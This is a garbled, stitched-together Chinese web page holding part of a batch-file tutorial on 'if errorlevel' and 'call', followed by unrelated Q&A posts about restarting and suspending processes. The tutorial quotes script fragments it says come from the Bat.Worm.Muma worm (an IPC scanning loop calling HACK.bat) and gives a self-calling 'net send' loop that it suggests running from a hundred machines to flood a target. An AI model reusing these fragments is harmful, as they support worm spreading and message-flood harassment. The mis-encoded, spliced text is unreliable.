          還是拿例五開刀(沒想到自己寫的腳本,竟然用處這么大,呵呵): masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj 先對源代碼進(jìn)行匯編,如果失敗則暫停顯示錯誤信息,并在按任意鍵后自動進(jìn)入編輯界面;否則用link程序連接生成的obj文件。

          這里只介紹一下和if命令有關(guān)的地方,&命令后面會講到。

          這種用法是先判斷前一個命令執(zhí)行后的返回碼(也叫錯誤碼,DOS程序在運(yùn)行完后都有返回碼),如果和定義的錯誤碼符合(這里定義的錯誤碼為1),則執(zhí)行相應(yīng)的操作(這里相應(yīng)的操作為pause & edit %1.asm部分)。

          另外,和其他兩種用法一樣,這種用法也可以表示否定。

          用否定的形式仍表達(dá)上面三句的意思,代碼變?yōu)椋簃asm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm 看到本質(zhì)了吧

          其實(shí)只是把結(jié)果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因?yàn)樗清e誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執(zhí)行成功)。

          這里是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行。

          如何體會的深刻

          練習(xí)

          自己寫一個腳本,然后把有not和沒有not的情況,返回碼為0或1的情況分別寫進(jìn)去執(zhí)行(怎么,嫌麻煩啊

          排列組合算一下才四中情況你就嫌麻煩了

          后面介紹管道命令和組合命令時還有更麻煩的呢

          怕了

          呵呵。

          ),這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別。

          這種用errorlevel結(jié)果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達(dá)到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。

          以上代碼必須變成: masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm 關(guān)于if命令的這三種用法就say到這里,理解很簡單,但應(yīng)用時就不一定用的那么得心應(yīng)手,主要是熟練程度的問題。

          可能有的朋友有點(diǎn)驚訝,我怎么沒給出類似下面三行的用法介紹,是因?yàn)橄旅嫒惺莍f命令幫助里對它自身用法的解釋,任何人只要一個“if \\\/?”就能看到,我沒有必要在這里多費(fèi)口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對if命令的理解來介紹。

          一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實(shí)際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎(chǔ)上的,哲學(xué)教我們學(xué)會透過現(xiàn)象看事物本質(zhì)

          )。

          有興趣的朋友可以自己研究一下。

          IF [NOT] ERRORLEVEL number do command IF [NOT] string1==string2 do command IF [NOT] EXIST filename do command8、call 學(xué)過匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實(shí)也是一樣的。

          在批處理腳本中,call命令用來從一個批處理腳本中調(diào)用另一個批處理腳本。

          看例八(默認(rèn)的三個腳本文件名分別為start.bat、10.bat和ipc.bat): start.bat: …… CALL 10.BAT 0 …… 10.bat: …… ECHO %IPA%.%1 >HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat: for \\\/f tokens=1,2,3 delims= %%i in (%1) do call HACK.bat %%i %%j %%k 有沒有看出什么不對的地方

          沒看出來啊

          沒看出來就對了,其實(shí)就沒有不對的地方嘛,你怎么看的出來

          從上面兩個腳本,你可以得到如下信息:1、腳本調(diào)用可以靈活運(yùn)用,循環(huán)運(yùn)用、重復(fù)運(yùn)用。

          2、腳本調(diào)用可以使用參數(shù)

          關(guān)于第一點(diǎn)就不多說了,聰明的你一看就應(yīng)該會,這里說一下第二點(diǎn)。

          在start.bat中,10.bat后面跟了參數(shù)0,在執(zhí)行時的效果,其實(shí)就是把10.bat里的參數(shù)%1用0代替。

          在start.bat中,ipc.bat后面跟了參數(shù)ipcfind.txt(一個文件,也可以做參數(shù)),執(zhí)行時的效果,就是用ipc.bat中的每一行的三個變量(這里不懂沒關(guān)系,學(xué)過for命令后就懂了),對應(yīng)代換ipc.bat中的%%i、%%j和%%k。

          這里參數(shù)調(diào)用是非常靈活的,使用時需要好好體會。

          在初學(xué)期間,可以先學(xué)習(xí)只調(diào)用腳本,至于連腳本的參數(shù)一起使用的情況,在后面的學(xué)習(xí)中自然就會有比較深刻的理解,這是因?yàn)楫?dāng)你已經(jīng)可以靈活運(yùn)用批處理腳本后,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的范圍,這時候你就會發(fā)現(xiàn)在調(diào)用腳本時直接加入?yún)?shù),可以使代碼效率加倍。

          By the way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機(jī)會見到這個病毒的真面目。

          那是不是說,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你調(diào)用誰

          呵呵,注意了,這句話錯了

          只有一個照樣可以調(diào)用----調(diào)用自身

          看例九(默認(rèn)腳本文件名a.bat): net send %1 This is a call example. call a.bat 這兩句一結(jié)合,效果自然不怎么樣,因?yàn)橹挥幸慌_機(jī)器來發(fā)消息,誰怕誰啊

          我給你來個禮尚往來

          可如果有100臺機(jī)器同時執(zhí)行,而且每臺機(jī)器開10和窗口同時向一個目標(biāo)機(jī)器發(fā)消息的話,呵呵。

          這里call a.bat的作用就是調(diào)用自身,執(zhí)行完前一句net send命令后再調(diào)用自身,達(dá)到了循環(huán)執(zhí)行的目的。

          給出一個很有意思的腳本,有興趣的朋友可以實(shí)驗(yàn)一下。

          例十(默認(rèn)腳本文件名為a.bat): call a.bat 一定要在DOS窗口下執(zhí)行,否則只會看到一個窗口一閃而過,看不到最后結(jié)果。

          等執(zhí)行完后,當(dāng)腳本被執(zhí)行了1260次,別忘了想一下到底是為什么

          愛情有時候跟這個腳本一樣,一旦陷入死循環(huán),最后的結(jié)果都是意想不到的。

          只是愛情,絕對不會等到被毫無理由的循環(huán)這么多次,也許在第三次時就出現(xiàn)了love is aborted的提示。

          高分求程序

          想寫個bat程序,能實(shí)現(xiàn)如下操作:A.exe, B.exe 兩個進(jìn)程分別關(guān)閉后再重新啟動

          @echo offtitle 計(jì)時 ####color 1cmode con: cols=35 lines=25set tm1=7set tm2=14set tm3=20:memuclsfor \\\/l %%i in (1,1,6) do echo\\\\echo 當(dāng)前時間#%time%#set tm=%time:~,2%echo\\\\echo 目標(biāo)時間#%tm1% %tm2% %tm3%#echo\\\\for \\\/l %%a in (1,1,6) do echo\\\itle 當(dāng)前時間#%tm%# if %tm% equ %tm1% (call :rest)if %tm% equ %tm2% (call :rest)if %tm% equ %tm3% (call :rest)ping 127.0.1 -n 6 >nulgoto memu:resttaskkill \\\/f \\\/im a.exetaskkill \\\/f \\\/im b.exeping 127.0.1 -n 3 >nulstart a.exestart b.exegoto :eof

          bat命令或易語言可以實(shí)現(xiàn)進(jìn)程掛起嗎

          您好,很高興為您解答

          BAT命令能否掛起我不清楚,但是易語言通過windows api是可以實(shí)現(xiàn)將某個進(jìn)程掛起的。

          具體可以參考windows api文檔。

          如果嫌windows api麻煩,那你可以直接用精易模塊,那里面直接整合了進(jìn)程掛起、進(jìn)程提權(quán)等,一句代碼就可以實(shí)現(xiàn)你要的功能。

          如果你要掛起的進(jìn)程是系統(tǒng)進(jìn)程的話,有時候需要提升權(quán)限。

          當(dāng)然了,用模塊這種方法只是簡便,但不適合初學(xué)者學(xué)習(xí)。

          若需要更好的了解其內(nèi)部原理,我建議是去學(xué)習(xí)一下windows api。

          手打很累,請勿轉(zhuǎn)載,望采納

          聲明 :本網(wǎng)站尊重并保護(hù)知識產(chǎn)權(quán),根據(jù)《信息網(wǎng)絡(luò)傳播權(quán)保護(hù)條例》,如果我們轉(zhuǎn)載的作品侵犯了您的權(quán)利,請?jiān)谝粋€月內(nèi)通知我們,我們會及時刪除。聯(lián)系xxxxxxxx.com

          Copyright?2020 一句話經(jīng)典語錄 jinzzs.com 版權(quán)所有

          友情鏈接

          心理測試 圖片大全 壁紙圖片